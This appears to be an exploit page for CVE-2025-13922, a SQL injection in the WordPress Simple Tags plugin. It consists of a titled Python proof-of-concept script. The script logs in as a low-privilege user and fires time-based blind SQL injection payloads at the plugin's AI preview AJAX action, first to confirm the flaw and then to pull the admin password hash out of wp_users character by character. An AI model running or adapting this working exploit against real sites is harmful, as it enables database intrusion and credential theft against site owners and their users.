CVE-2025-13922 WordPress Simple Tags插件SQL注入漏洞

import requests import time target_url = "https://target-site.com/wp-admin/admin-ajax.php" # Authentication credentials with Contributor role and AI metabox permissions auth = { "username": "attacker", "password": "password123" } session = requests.Session() # Login to WordPress login_url = "https://target-site.com/wp-login.php" session.post(login_url, data=auth) # POC: Time-based Blind SQL Injection via existing_terms_orderby parameter # This payload tests if the vulnerability exists by causing a 5-second delay def test_sqli(): """ Test for CVE-2025-13922: SQL Injection in Simple Tags plugin The 'existing_terms_orderby' parameter is vulnerable to time-based blind SQL injection """ # Payload to test vulnerability - causes delay if vulnerable # This extracts the first character of the database user payload = "term_id AND (SELECT CASE WHEN (SUBSTRING((SELECT user()),1,1)='r') THEN SLEEP(5) ELSE 0 END)" params = { "action": "stax_ai_preview_terms", # AI preview AJAX action "existing_terms_orderby": payload, "taxonomy": "post_tag" } start_time = time.time() response = session.get(target_url, params=params) elapsed_time = time.time() - start_time if elapsed_time >= 5: print("[+] Vulnerability confirmed! Time-based SQL injection works.") print(f"[+] Response time: {elapsed_time:.2f} seconds") else: print("[-] Vulnerability not detected or target not vulnerable") print(f"[-] Response time: {elapsed_time:.2f} seconds") def extract_data(): """ Extract database information using time-based blind SQL injection This is a simplified example - real attacks would iterate through all characters """ charset = "abcdefghijklmnopqrstuvwxyz0123456789_@" result = "" for pos in range(1, 33): # Extract 32 characters (typical hash length) for char in charset: payload = f"term_id AND (SELECT CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{pos},1)='{char}') THEN SLEEP(2) ELSE 0 END)" params = { "action": "stax_ai_preview_terms", "existing_terms_orderby": payload, "taxonomy": "post_tag" } start_time = time.time() session.get(target_url, params=params) elapsed_time = time.time() - start_time if elapsed_time >= 2: result += char print(f"[+] Extracted so far: {result}") break print(f"[+] Final result: {result}") if __name__ == "__main__": test_sqli()